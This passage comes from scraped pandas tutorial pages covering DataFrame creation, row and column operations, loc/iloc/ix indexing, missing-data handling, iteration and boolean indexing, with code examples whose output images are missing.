            'Age':[20, 21, 19, 18]}
    
    # Create DataFrame
    df = pd.DataFrame(data)
    
    # Print the output.
    print(df)
    

    Output:

     
    For more details refer to Creating a Pandas DataFrame

    Dealing with Rows and Columns

    A Data frame is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. We can perform basic operations on rows/columns like selecting, deleting, adding, and renaming.

    Column Selection: In Order to select a column in Pandas DataFrame, we can either access the columns by calling them by their columns name.

    # Import pandas package
    import pandas as pd
    
    # Define a dictionary containing employee data
    data = {'Name':['Jai', 'Princi', 'Gaurav', 'Anuj'],
            'Age':[27, 24, 22, 32],
            'Address':['Delhi', 'Kanpur', 'Allahabad', 'Kannauj'],
            'Qualification':['Msc', 'MA', 'MCA', 'Phd']}
    
    # Convert the dictionary into DataFrame 
    df = pd.DataFrame(data)
    
    # select two columns
    print(df[['Name', 'Qualification']])
    

    Output:

     
    Row Selection: Pandas provide a unique method to retrieve rows from a Data frame. DataFrame.loc[] method is used to retrieve rows from Pandas DataFrame. Rows can also be selected by passing integer location to an iloc[] function.

    Note: We’ll be using nba.csv file in below examples.

    # importing pandas package
    import pandas as pd
    
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
    
    # retrieving row by loc method
    first = data.loc["Avery Bradley"]
    second = data.loc["R.J. Hunter"]
    
    
    print(first, "\n\n\n", second)
    

    Output:
    As shown in the output image, two series were returned since there was only one parameter both of the times.

    For more Details refer to Dealing with Rows and Columns
     

    Indexing and Selecting Data

    Indexing in pandas means simply selecting particular rows and columns of data from a DataFrame. Indexing could mean selecting all the rows and some of the columns, some of the rows and all of the columns, or some of each of the rows and columns. Indexing can also be known as Subset Selection.

    Indexing a Dataframe using indexing operator [] :
    Indexing operator is used to refer to the square brackets following an object. The .loc and .iloc indexers also use the indexing operator to make selections. In this indexing operator to refer to df[].

    Selecting a single columns

    In order to select a single column, we simply put the name of the column in-between the brackets

    # importing pandas package
    import pandas as pd
    
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
    
    # retrieving columns by indexing operator
    first = data["Age"]
    
    
    
    print(first)
    
    
    

    Output:

     
    Indexing a DataFrame using .loc[ ] :
    This function selects data by the label of the rows and columns. The df.loc indexer selects data in a different way than just the indexing operator. It can select subsets of rows or columns. It can also simultaneously select subsets of rows and columns.

    Selecting a single row

    In order to select a single row using .loc[], we put a single row label in a .loc function.

    # importing pandas package
    import pandas as pd
    
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
    
    # retrieving row by loc method
    first = data.loc["Avery Bradley"]
    second = data.loc["R.J. Hunter"]
    
    
    print(first, "\n\n\n", second)
    

    Output:
    As shown in the output image, two series were returned since there was only one parameter both of the times.

     
    Indexing a DataFrame using .iloc[ ] :
    This function allows us to retrieve rows and columns by position. In order to do that, we’ll need to specify the positions of the rows that we want, and the positions of the columns that we want as well. The df.iloc indexer is very similar to df.loc but only uses integer locations to make its selections.

    Selecting a single row

    In order to select a single row using .iloc[], we can pass a single integer to .iloc[] function.

    import pandas as pd
    
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
    
    
    # retrieving rows by iloc method 
    row2 = data.iloc[3] 
    
    
    
    print(row2)
    
    

    Output:

     
    For more Details refer

     

    Working with Missing Data

    Missing Data can occur when no information is provided for one or more items or for a whole unit. Missing Data is a very big problem in real life scenario. Missing Data can also refer to as NA(Not Available) values in pandas.

    Checking for missing values using isnull() and notnull() :
    In order to check missing values in Pandas DataFrame, we use a function isnull() and notnull(). Both function help in checking whether a value is NaN or not. These function can also be used in Pandas Series in order to find null values in a series.

    # importing pandas as pd
    import pandas as pd
    
    # importing numpy as np
    import numpy as np
    
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, 45, 56, np.nan],
            'Third Score':[np.nan, 40, 80, 98]}
    
    # creating a dataframe from list
    df = pd.DataFrame(dict)
    
    # using isnull() function  
    df.isnull()
    
    

    Output:

     
    Filling missing values using fillna(), replace() and interpolate() :
    In order to fill null values in a datasets, we use fillna(), replace() and interpolate() function these function replace NaN values with some value of their own. All these function help in filling a null values in datasets of a DataFrame. Interpolate() function is basically used to fill NA values in the dataframe but it uses various interpolation technique to fill the missing values rather than hard-coding the value.

    # importing pandas as pd
    import pandas as pd
    
    # importing numpy as np
    import numpy as np
    
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, 45, 56, np.nan],
            'Third Score':[np.nan, 40, 80, 98]}
    
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
    
    # filling missing value using fillna()  
    df.fillna(0)
    
    
    

    Output:

     
    Dropping missing values using dropna() :
    In order to drop a null values from a dataframe, we used dropna() function this fuction drop Rows/Columns of datasets with Null values in different ways.

    # importing pandas as pd
    import pandas as pd
    
    # importing numpy as np
    import numpy as np
    
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, 40, 80, 98],
            'Fourth Score':[np.nan, np.nan, np.nan, 65]}
    
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
      
    df
    


    Now we drop rows with at least one Nan value (Null value)

    # importing pandas as pd
    import pandas as pd
    
    # importing numpy as np
    import numpy as np
    
    # dictionary of lists
    dict = {'First Score':[100, 90, np.nan, 95],
            'Second Score': [30, np.nan, 45, 56],
            'Third Score':[52, 40, 80, 98],
            'Fourth Score':[np.nan, np.nan, np.nan, 65]}
    
    # creating a dataframe from dictionary
    df = pd.DataFrame(dict)
    
    # using dropna() function  
    df.dropna()
    
    

    Output:

    For more Details refer to Working with Missing Data in Pandas
     

    Iterating over rows and columns

    Iteration is a general term for taking each item of something, one after another. Pandas DataFrame consists of rows and columns so, in order to iterate over dataframe, we have to iterate a dataframe like a dictionary.

    Iterating over rows :
    In order to iterate over rows, we can use three function iteritems(), iterrows(), itertuples() . These three function will help in iteration over rows.

    # importing pandas as pd
    import pandas as pd
     
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
    
    # creating a dataframe from a dictionary 
    df = pd.DataFrame(dict)
    
    print(df)
    


    Now we apply iterrows() function in order to get a each element of rows.

    # importing pandas as pd
    import pandas as pd
     
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
    
    # creating a dataframe from a dictionary 
    df = pd.DataFrame(dict)
    
    # iterating over rows using iterrows() function 
    for i, j in df.iterrows():
        print(i, j)
        print()
    
    

    Output:

     
    Iterating over Columns :
    In order to iterate over columns, we need to create a list of dataframe columns and then iterating through that list to pull out the dataframe columns.

    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe from a dictionary 
    df = pd.DataFrame(dict)
    
    print(df)
    
    


    Now we iterate through columns in order to iterate through columns we first create a list of dataframe columns and then iterate through list.

    # creating a list of dataframe columns
    columns = list(df)
    
    for i in columns:
    
        # printing the third element of the column
        print (df[i][2])
    
    

    Output:

     
    For more Details refer to Iterating over rows and columns in Pandas DataFrame

    DataFrame Methods:

    FunctionDescription
    index()Method returns index (row labels) of the DataFrame
    insert()Method inserts a column into a DataFrame
    add()Method returns addition of dataframe and other, element-wise (binary operator add)
    sub()Method returns subtraction of dataframe and other, element-wise (binary operator sub)
    mul()Method returns multiplication of dataframe and other, element-wise (binary operator mul)
    div()Method returns floating division of dataframe and other, element-wise (binary operator truediv)
    unique()Method extracts the unique values in the dataframe
    nunique()Method returns count of the unique values in the dataframe
    value_counts()Method counts the number of times each unique value occurs within the Series
    columns()Method returns the column labels of the DataFrame
    axes()Method returns a list representing the axes of the DataFrame
    isnull()Method creates a Boolean Series for extracting rows with null values
    notnull()Method creates a Boolean Series for extracting rows with non-null values
    between()Method extracts rows where a column value falls in between a predefined range
    isin()Method extracts rows from a DataFrame where a column value exists in a predefined collection
    dtypes()Method returns a Series with the data type of each column. The result’s index is the original DataFrame’s columns
    astype()Method converts the data types in a Series
    values()Method returns a Numpy representation of the DataFrame i.e. only the values in the DataFrame will be returned, the axes labels will be removed
    sort_values()- Set1, Set2Method sorts a data frame in Ascending or Descending order of passed Column
    sort_index()Method sorts the values in a DataFrame based on their index positions or labels instead of their values but sometimes a data frame is made out of two or more data frames and hence later index can be changed using this method
    loc[]Method retrieves rows based on index label
    iloc[]Method retrieves rows based on index position
    ix[]Method retrieves DataFrame rows based on either index label or index position. This method combines the best features of the .loc[] and .iloc[] methods
    rename()Method is called on a DataFrame to change the names of the index labels or column names
    columns()Method is an alternative attribute to change the coloumn name
    drop()Method is used to delete rows or columns from a DataFrame
    pop()Method is used to delete rows or columns from a DataFrame
    sample()Method pulls out a random sample of rows or columns from a DataFrame
    nsmallest()Method pulls out the rows with the smallest values in a column
    nlargest()Method pulls out the rows with the largest values in a column
    shape()Method returns a tuple representing the dimensionality of the DataFrame
    ndim()Method returns an ‘int’ representing the number of axes / array dimensions.
    Returns 1 if Series, otherwise returns 2 if DataFrame
    dropna()Method allows the user to analyze and drop Rows/Columns with Null values in different ways
    fillna()Method manages and let the user replace NaN values with some value of their own
    rank()Values in a Series can be ranked in order with this method
    query()Method is an alternate string-based syntax for extracting a subset from a DataFrame
    copy()Method creates an independent copy of a pandas object
    duplicated()Method creates a Boolean Series and uses it to extract rows that have duplicate values
    drop_duplicates()Method is an alternative option to identifying duplicate rows and removing them through filtering
    set_index()Method sets the DataFrame index (row labels) using one or more existing columns
    reset_index()Method resets index of a Data Frame. This method sets a list of integer ranging from 0 to length of data as index
    where()Method is used to check a Data Frame for one or more condition and return the result accordingly. By default, the rows not satisfying the condition are filled with NaN value

     
    More on Pandas

    1. Python | Pandas Series
    2. Python | Pandas Working With Text Data
    3. Python | Pandas Working with Dates and Times
    4. Python | Pandas Merging, Joining, and Concatenating

    My Personal Notes arrow_drop_up

    Creating a Pandas DataFrame

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 22 Jun, 2021

    In the real world, a Pandas DataFrame will be created by loading the datasets from existing storage, storage can be SQL Database, CSV file, and Excel file. Pandas DataFrame can be created from the lists, dictionary, and from a list of dictionary etc. 
     

    A Dataframe is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. In dataframe datasets arrange in rows and columns, we can store any number of datasets in a dataframe. We can perform many operations on these datasets like arithmetic operation, columns/rows selection, columns/rows addition etc. 
     

    Pandas DataFrame can be created in multiple ways. Let’s discuss different ways to create a DataFrame one by one.
    Creating an empty dataframe : 
    A basic DataFrame, which can be created is an Empty Dataframe. An Empty Dataframe is created just by calling a dataframe constructor. 
     

    Python3




    # import pandas as pd
    import pandas as pd
     
    # Calling DataFrame constructor
    df = pd.DataFrame()
     
    print(df)

    Output : 
     

    Empty DataFrame
    Columns: []
    Index: []

      
    Creating a dataframe using List: 
    DataFrame can be created using a single list or a list of lists. 
     

    Python3




    # import pandas as pd
    import pandas as pd
     
    # list of strings
    lst = ['Geeks', 'For', 'Geeks', 'is',
                'portal', 'for', 'Geeks']
     
    # Calling DataFrame constructor on list
    df = pd.DataFrame(lst)
    print(df)

    Output: 
     

      
    Creating DataFrame from dict of ndarray/lists: 
    To create DataFrame from dict of narray/list, all the narray must be of same length. If index is passed then the length index should be equal to the length of arrays. If no index is passed, then by default, index will be range(n) where n is the array length. 
     

    Python3




    # Python code demonstrate creating
    # DataFrame from dict narray / lists
    # By default addresses.
     
    import pandas as pd
     
    # initialise data of lists.
    data = {'Name':['Tom', 'nick', 'krish', 'jack'], 'Age':[20, 21, 19, 18]}
     
    # Create DataFrame
    df = pd.DataFrame(data)
     
    # Print the output.
    print(df)

    Output: 
     

      
    Create pandas dataframe from lists using dictionary: 
    Creating pandas data-frame from lists using dictionary can be achieved in different ways. We can create pandas dataframe from lists using dictionary using pandas.DataFrame. With this method in Pandas we can transform a dictionary of list to a dataframe.
     

    Python3




    # importing pandas as pd
    import pandas as pd
     
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    df = pd.DataFrame(dict)
     
    print(df)

    Output: 
     

     
    Multiple ways of creating dataframe : 
     

     


    My Personal Notes arrow_drop_up

    Dealing with Rows and Columns in Pandas DataFrame

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Basic
    • Last Updated : 13 Oct, 2021

    A Data frame is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. We can perform basic operations on rows/columns like selecting, deleting, adding, and renaming. In this article, we are using nba.csv file.

    Dealing with Columns

    In order to deal with columns, we perform basic operations on columns like selecting, deleting, adding and renaming.

    Column Selection:
    In Order to select a column in Pandas DataFrame, we can either access the columns by calling them by their columns name.




    # Import pandas package
    import pandas as pd
      
    # Define a dictionary containing employee data
    data = {'Name':['Jai', 'Princi', 'Gaurav', 'Anuj'],
            'Age':[27, 24, 22, 32],
            'Address':['Delhi', 'Kanpur', 'Allahabad', 'Kannauj'],
            'Qualification':['Msc', 'MA', 'MCA', 'Phd']}
      
    # Convert the dictionary into DataFrame 
    df = pd.DataFrame(data)
      
    # select two columns
    print(df[['Name', 'Qualification']])

    Output:

    For more examples refer to How to select multiple columns in a pandas dataframe
     
    Column Addition:
    In Order to add a column in Pandas DataFrame, we can declare a new list as a column and add to a existing Dataframe.




    # Import pandas package 
    import pandas as pd
      
    # Define a dictionary containing Students data
    data = {'Name': ['Jai', 'Princi', 'Gaurav', 'Anuj'],
            'Height': [5.1, 6.2, 5.1, 5.2],
            'Qualification': ['Msc', 'MA', 'Msc', 'Msc']}
      
    # Convert the dictionary into DataFrame
    df = pd.DataFrame(data)
      
    # Declare a list that is to be converted into a column
    address = ['Delhi', 'Bangalore', 'Chennai', 'Patna']
      
    # Using 'Address' as the column name
    # and equating it to the list
    df['Address'] = address
      
    # Observe the result
    print(df)

    Output:

    For more examples refer to Adding new column to existing DataFrame in Pandas
     
    Column Deletion:
    In Order to delete a column in Pandas DataFrame, we can use the drop() method. Columns is deleted by dropping columns with column names.




    # importing pandas module
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name" )
      
    # dropping passed columns
    data.drop(["Team", "Weight"], axis = 1, inplace = True)
      
    # display
    print(data)

    Output:
    As shown in the output images, the new output doesn’t have the passed columns. Those values were dropped since axis was set equal to 1 and the changes were made in the original data frame since inplace was True.

    Data Frame before Dropping Columns-


    Data Frame after Dropping Columns-

    For more examples refer to Delete columns from DataFrame using Pandas.drop()

    Dealing with Rows:

    In order to deal with rows, we can perform basic operations on rows like selecting, deleting, adding and renaming.

    Row Selection:
    Pandas provide a unique method to retrieve rows from a Data frame.DataFrame.loc[] method is used to retrieve rows from Pandas DataFrame. Rows can also be selected by passing integer location to an iloc[] function.




    # importing pandas package
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # retrieving row by loc method
    first = data.loc["Avery Bradley"]
    second = data.loc["R.J. Hunter"]
      
      
    print(first, "\n\n\n", second)

    Output:
    As shown in the output image, two series were returned since there was only one parameter both of the times.

    For more examples refer to Pandas Extracting rows using .loc[]
     
    Row Addition:
    In Order to add a Row in Pandas DataFrame, we can concat the old dataframe with new one.




    # importing pandas module 
    import pandas as pd 
        
    # making data frame 
    df = pd.read_csv("nba.csv", index_col ="Name"
      
    df.head(10)
      
    new_row = pd.DataFrame({'Name':'Geeks', 'Team':'Boston', 'Number':3,
                            'Position':'PG', 'Age':33, 'Height':'6-2',
                            'Weight':189, 'College':'MIT', 'Salary':99999},
                                                                index =[0])
    # simply concatenate both dataframes
    df = pd.concat([new_row, df]).reset_index(drop = True)
    df.head(5)

    Output:

    Data Frame before Adding Row-


    Data Frame after Adding Row-


    For more examples refer to Add a row at top in pandas DataFrame
     
    Row Deletion:
    In Order to delete a row in Pandas DataFrame, we can use the drop() method. Rows is deleted by dropping Rows by index label.




    # importing pandas module
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name" )
      
    # dropping passed values
    data.drop(["Avery Bradley", "John Holland", "R.J. Hunter",
                                "R.J. Hunter"], inplace = True)
      
    # display
    data

    Output:
    As shown in the output images, the new output doesn’t have the passed values. Those values were dropped and the changes were made in the original data frame since inplace was True.

    Data Frame before Dropping values-


    Data Frame after Dropping values-

    For more examples refer to Delete rows from DataFrame using Pandas.drop()
     
    Problem related to Columns:

    Problem related to Rows:


    My Personal Notes arrow_drop_up

    Indexing and Selecting Data with Pandas

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 13 Apr, 2022

    Indexing in Pandas :
    Indexing in pandas means simply selecting particular rows and columns of data from a DataFrame. Indexing could mean selecting all the rows and some of the columns, some of the rows and all of the columns, or some of each of the rows and columns. Indexing can also be known as Subset Selection.

    Let’s see some example of indexing in Pandas. In this article, we are using “nba.csv” file to download the CSV, click here.

    Selecting some rows and some columns

    Let’s take a DataFrame with some fake data, now we perform indexing on this DataFrame. In this, we are selecting some rows and some columns from a DataFrame. Dataframe with dataset.

    Suppose we want to select columns Age, College and Salary for only rows with a labels Amir Johnson and Terry Rozier

    Our final DataFrame would look like this:

    Selecting some rows and all columns

    Let’s say we want to select row Amir Jhonson, Terry Rozier and John Holland with all columns in a dataframe.

    Our final DataFrame would look like this:

    Selecting some columns and all rows

    Let’s say we want to select columns Age, Height and Salary with all rows in a dataframe.

    Our final DataFrame would look like this:

     

    Pandas Indexing using [ ], .loc[], .iloc[ ], .ix[ ]

    There are a lot of ways to pull the elements, rows, and columns from a DataFrame. There are some indexing method in Pandas which help in getting an element from a DataFrame. These indexing methods appear very similar but behave very differently. Pandas support four types of Multi-axes indexing they are:

    Collectively, they are called the indexers. These are by far the most common ways to index data. These are four function which help in getting the elements, rows, and columns from a DataFrame.
     
    Indexing a Dataframe using indexing operator [] :
    Indexing operator is used to refer to the square brackets following an object. The .loc and .iloc indexers also use the indexing operator to make selections. In this indexing operator to refer to df[].

    Selecting a single columns

    In order to select a single column, we simply put the name of the column in-between the brackets




    # importing pandas package
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # retrieving columns by indexing operator
    first = data["Age"]
      
      
      
    print(first)

    Output:

    Selecting multiple columns

    In order to select multiple columns, we have to pass a list of columns in an indexing operator.




    # importing pandas package
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # retrieving multiple columns by indexing operator
    first = data[["Age", "College", "Salary"]]
      
      
      
    first

    Output:

     
    Indexing a DataFrame using .loc[ ] :
    This function selects data by the label of the rows and columns. The df.loc indexer selects data in a different way than just the indexing operator. It can select subsets of rows or columns. It can also simultaneously select subsets of rows and columns.

    Selecting a single row

    In order to select a single row using .loc[], we put a single row label in a .loc function.




    # importing pandas package
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # retrieving row by loc method
    first = data.loc["Avery Bradley"]
    second = data.loc["R.J. Hunter"]
      
      
    print(first, "\n\n\n", second)

    Output:
    As shown in the output image, two series were returned since there was only one parameter both of the times.

     

    Selecting multiple rows

    In order to select multiple rows, we put all the row labels in a list and pass that to .loc function.




    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # retrieving multiple rows by loc method
    first = data.loc[["Avery Bradley", "R.J. Hunter"]]
      
      
      
    print(first)

    Output:

     

    Selecting two rows and three columns

    In order to select two rows and three columns, we select a two rows which we want to select and three columns and put it in a separate list like this:

    Dataframe.loc[["row1", "row2"], ["column1", "column2", "column3"]]
    




    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # retrieving two rows and three columns by loc method
    first = data.loc[["Avery Bradley", "R.J. Hunter"],
                       ["Team", "Number", "Position"]]
      
      
      
    print(first)

    Output:

     

    Selecting all of the rows and some columns

    In order to select all of the rows and some columns, we use single colon [:] to select all of rows and list of some columns which we want to select like this:

    Dataframe.loc[:, ["column1", "column2", "column3"]]
    




    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
    # retrieving all rows and some columns by loc method
    first = data.loc[:, ["Team", "Number", "Position"]]
      
      
      
    print(first)

    Output:

     
    Indexing a DataFrame using .iloc[ ] :
    This function allows us to retrieve rows and columns by position. In order to do that, we’ll need to specify the positions of the rows that we want, and the positions of the columns that we want as well. The df.iloc indexer is very similar to df.loc but only uses integer locations to make its selections.

    Selecting a single row

    In order to select a single row using .iloc[], we can pass a single integer to .iloc[] function.




    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
      
    # retrieving rows by iloc method 
    row2 = data.iloc[3
      
      
      
    print(row2)

    Output:

     

    Selecting multiple rows

    In order to select multiple rows, we can pass a list of integer to .iloc[] function.




    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
      
    # retrieving multiple rows by iloc method 
    row2 = data.iloc [[3, 5, 7]]
      
      
      
    row2

    Output:

     

    Selecting two rows and two columns

    In order to select two rows and two columns, we create a list of 2 integer for rows and list of 2 integer for columns then pass to a .iloc[] function.




    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
      
    # retrieving two rows and two columns by iloc method 
    row2 = data.iloc [[3, 4], [1, 2]]
      
      
      
    print(row2)

    Output:

     

    Selecting all the rows and a some columns

    In order to select all rows and some columns, we use single colon [:] to select all of rows and for columns we make a list of integer then pass to a .iloc[] function.




    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
      
      
    # retrieving all rows and some columns by iloc method 
    row2 = data.iloc [:, [1, 2]]
      
      
      
    print(row2)

    Output:

     
    Indexing a using Dataframe.ix[ ] :
    Early in the development of pandas, there existed another indexer, ix. This indexer was capable of selecting both by label and by integer location. While it was versatile, it caused lots of confusion because it’s not explicit. Sometimes integers can also be labels for rows or columns. Thus there were instances where it was ambiguous. Generally, ix is label based and acts just as the .loc indexer. However, .ix also supports integer type selections (as in .iloc) where passed an integer. This only works where the index of the DataFrame is not integer based .ix will accept any of the inputs of .loc and .iloc.
    Note: The .ix indexer has been deprecated in recent versions of Pandas.

    Selecting a single row using .ix[] as .loc[]

    In order to select a single row, we put a single row label in a .ix function. This function act similar as .loc[] if we pass a row label as a argument of a function.




    # importing pandas package
    import pandas as pd
       
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
       
    # retrieving row by ix method
    first = data.ix["Avery Bradley"]
      
       
       
    print(first)
      

    Output:

    Selecting a single row using .ix[] as .iloc[]

    In order to select a single row, we can pass a single integer to .ix[] function. This function similar as a iloc[] function if we pass an integer in a .ix[] function.




    # importing pandas package
    import pandas as pd
       
    # making data frame from csv file
    data = pd.read_csv("nba.csv", index_col ="Name")
       
    # retrieving row by ix method
    first = data.ix[1]
      
       
       
    print(first)

    Output:

     

    Methods for indexing in DataFrame

    FunctionDescription
    Dataframe.head()Return top n rows of a data frame.
    Dataframe.tail()Return bottom n rows of a data frame.
    Dataframe.at[]Access a single value for a row/column label pair.
    Dataframe.iat[]Access a single value for a row/column pair by integer position.
    Dataframe.tail()Purely integer-location based indexing for selection by position.
    DataFrame.lookup()Label-based “fancy indexing” function for DataFrame.
    DataFrame.pop()Return item and drop from frame.
    DataFrame.xs()Returns a cross-section (row(s) or column(s)) from the DataFrame.
    DataFrame.get()Get item from object for given key (DataFrame column, Panel slice, etc.).
    DataFrame.isin()Return boolean DataFrame showing whether each element in the DataFrame is contained in values.
    DataFrame.where()Return an object of same shape as self and whose corresponding entries are from self where cond is True and otherwise are from other.
    DataFrame.mask()Return an object of same shape as self and whose corresponding entries are from self where cond is False and otherwise are from other.
    DataFrame.query()Query the columns of a frame with a boolean expression.
    DataFrame.insert()Insert column into DataFrame at specified location.

    My Personal Notes arrow_drop_up

    Boolean Indexing in Pandas

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 21 Oct, 2021

    In boolean indexing, we will select subsets of data based on the actual values of the data in the DataFrame and not on their row/column labels or integer locations. In boolean indexing, we use a boolean vector to filter the data. 
     

    Boolean indexing is a type of indexing which uses actual values of the data in the DataFrame. In boolean indexing, we can filter a data in four ways – 
     

    Accessing a DataFrame with a boolean index : 
    In order to access a dataframe with a boolean index, we have to create a dataframe in which the index of dataframe contains a boolean value that is “True” or “False”. For Example 
     

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
      
    df = pd.DataFrame(dict, index = [True, False, True, False])
      
    print(df)

    Output: 
     

    Now we have created a dataframe with the boolean index after that user can access a dataframe with the help of the boolean index. User can access a dataframe using three functions that is .loc[], .iloc[], .ix[] 
     

    Accessing a Dataframe with a boolean index using .loc[]

    In order to access a dataframe with a boolean index using .loc[], we simply pass a boolean value (True or False) in a .loc[] function. 
     

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe with boolean index
    df = pd.DataFrame(dict, index = [True, False, True, False])
     
    # accessing a dataframe using .loc[] function
    print(df.loc[True])

    Output: 
     

     

    Accessing a Dataframe with a boolean index using .iloc[]

    In order to access a dataframe using .iloc[], we have to pass a boolean value (True or False)  but iloc[] function accept only integer as an argument so it will throw an error so we can only access a dataframe when we pass an integer in iloc[] function 
    Code #1: 
     

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe with boolean index 
    df = pd.DataFrame(dict, index = [True, False, True, False])
     
    # accessing a dataframe using .iloc[] function
    print(df.iloc[True])

    Output: 
     

    TypeError

    Code #2: 
     

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe with boolean index 
    df = pd.DataFrame(dict, index = [True, False, True, False])
      
     
    # accessing a dataframe using .iloc[] function
    print(df.iloc[1])

    Output: 
     

     

    Accessing a Dataframe with a boolean index using .ix[]

    In order to access a dataframe using .ix[], we have to pass boolean value (True or False) and integer value to .ix[] function because as we know that .ix[] function is a hybrid of .loc[] and .iloc[] function. 
    Code #1: 
     

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe with boolean index
    df = pd.DataFrame(dict, index = [True, False, True, False])
      
     
    # accessing a dataframe using .ix[] function
    print(df.ix[True])

    Output: 
     

    Code #2: 
     

    Python




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe with boolean index
    df = pd.DataFrame(dict, index = [True, False, True, False])
      
     
    # accessing a dataframe using .ix[] function
    print(df.ix[1])

    Output: 
     

      
    Applying a boolean mask to a dataframe : 
    In a dataframe we can apply a boolean mask in order to do that we, can use __getitems__ or [] accessor. We can apply a boolean mask by giving a list of True and False of the same length as contain in a dataframe. When we apply a boolean mask it will print only that dataframe in which we pass a boolean value True. To download “nba1.1” CSV file click here.
    Code #1: 
     

    Python3




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["MBA", "BCA", "M.Tech", "MBA"],
            'score':[90, 40, 80, 98]}
      
    df = pd.DataFrame(dict, index = [0, 1, 2, 3])
      
     
     
    print(df[[True, False, True, False]])

    Output: 
     

    Code #2: 
     

    Python3




    # importing pandas package
    import pandas as pd
      
    # making data frame from csv file
    data = pd.read_csv("nba1.1.csv")
      
    df = pd.DataFrame(data, index = [0, 1, 2, 3, 4, 5, 6,
                                     7, 8, 9, 10, 11, 12])
     
      
    df[[True, False, True, False, True,
        False, True, False, True, False,
                    True, False, True]]

    Output: 
     

      
    Masking data based on column value : 
    In a dataframe we can filter a data based on a column value in order to filter data, we can apply certain conditions on the dataframe using different operators like ==, >, <, <=, >=. When we apply these operators to the dataframe then it produces a Series of True and False. To download the “nba.csv” CSV, click here.
    Code #1: 
     

    Python




    # importing pandas as pd
    import pandas as pd
      
    # dictionary of lists
    dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
            'degree': ["BCA", "BCA", "M.Tech", "BCA"],
            'score':[90, 40, 80, 98]}
     
    # creating a dataframe
    df = pd.DataFrame(dict)
      
    # using a comparison operator for filtering of data
    print(df['degree'] == 'BCA')

    Output: 
     

    Code #2: 
     

    Python




    # importing pandas package
    import pandas as pd
      
